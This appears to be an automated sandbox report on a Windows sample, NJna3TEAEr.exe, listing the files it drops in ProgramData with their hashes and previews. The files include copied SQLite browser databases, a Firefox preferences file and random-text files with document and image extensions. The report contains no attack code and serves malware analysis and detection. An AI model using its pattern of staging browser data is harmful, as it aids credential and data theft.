Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\ProgramData\CBGCBGCAFIIECBFIDHIJKFBAKE

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFCBKKKJJJKKEBGDAFIDAAAEHD

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAKEHIJJKEGIDHIEHDAFIIDBFB

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690299109915258
Encrypted:	false
SSDEEP:	24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
MD5:	F0D9DE697149ECBC1D88C7EA4841E5BD
SHA1:	06A2A47C12B3554397AA0C8F483411CAB366947D
SHA-256:	5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
SHA-512:	E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
Malicious:	false
Preview:	EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

C:\ProgramData\EFOYFBOLXA.docx

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\ProgramData\EFOYFBOLXA.pdf

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\ProgramData\EGHCBKKKFHCGCBFIJEHDGIDGCF

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EIVQSAOTAQ.png

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692024230831571
Encrypted:	false
SSDEEP:	24:RXklo22NBtmSOCPX4hQpKZCuvImjwxwo1:v22NBtxOCYQ0EuwmMxz
MD5:	086908C2D2FAA8C9284EAB6D70682A47
SHA1:	1BCA47E5FFEC5FD3CE416A922BC3F905C8FE27C4
SHA-256:	40C76F418FBB2A515AF4DEC81E501CEB725FD4C916D50FCA1A82B9F5ABC1DCCF
SHA-512:	02C48E3CDA1DC748CD3F30B2384D515B50C1DFD63651554AD3D4562B1A47F5446098DCED47A0766D184DDB30B3F158ABEC5877C9CA28AB191CEBB0782C26B230
Malicious:	false
Preview:	EIVQSAOTAQGMTJLIEKHIWADNDLJLEWUUXVGOFMOKPHABQUHVNBFVSKQIGVIHICGEEXRLSTKQNZUKOHPLLTCYQSLQJMPWPWNUJFUONDXMYCCUPDUBYMPUSUKUOWWSWDLZMDWKNMUKNPKBXAJATSGOQUAMHMZDCDDJRHKOUEDMLSCIOXAHAUFDQKBUBESAKMMFMHDLSSVUQLOZXARPGPMGAAKVDEITBYGGXWIGUIJRVXQOBOIOJWPYSPHZBHWQTMDCUFCWBQSAZNRUOPCLATAERLBPATETXMFUGXBEGMNPKKEZVSRLCYPFEPWIAEINAMGSOXLYWMUKYSQACPSUTGHDCTFLXKAMLOCGYHCMAETHVZNZOCWWUHYAPHFILDNLLBMLSLXIMOFGWTDVLWPHHRGGAWSIGNXEJRIBIBLWFBUASCLZPUIVDERXYLWTNLLRLTFZJTTDGFOEYPFXIPHFKEXHOGEHSFYCCCTGNFQFYETBADKAEAOXYXJWDJWNZPEOBJZTKPLJPPMICDOWUIVDKBQQMHETDORVKZPOWTAZRBAQYYQHBNHIWFZXBILGKHZBLSQJJEIYBHUIDAOEXERQEUMMKBWDXSMLJVAZJQPZARLOBNSTUDCVKLCVBPTKTJWSMPMKSFOQPINFTNEGPVSYCWOXABSGFFKRQDFQEIJWDUMZKILALUHYQZGZOLYMKSAOZGUYCKJOJLYINHVKCTZVXLYIYPGOQZQQAGXVWEBSURTQECDRXYKQAJBEKDNSIHNBZCUBIKPKVWLUOFFCIZSKQBAAPGFMBASMUOKLLGWEHHMYDJCOQEKOBYLYWOOZLBASOJJYLIHZKUGUKHZQBIAVUPYHYEWAYGUFNARHCUKTFMLHSFLRVAELAFCQHPEFUSGNONWLLYQVUVSVEKHDRXJHDSSFJATGDRCTMICJWPFPKKLXECKUXREXEAQNPOBPRKFYRWIWXEWLAPUSHGKXWYYIJNUMGQHBJPMOYZIXPGOJLOQG

C:\ProgramData\EOWRVPQCCS.jpg

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\ProgramData\FBKEHJEGCFBFHJJKJEHD

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\FHDHCAAK

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIGIYTFFYT.jpg

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\ProgramData\GRXZDKKVDB.jpg

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\ProgramData\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
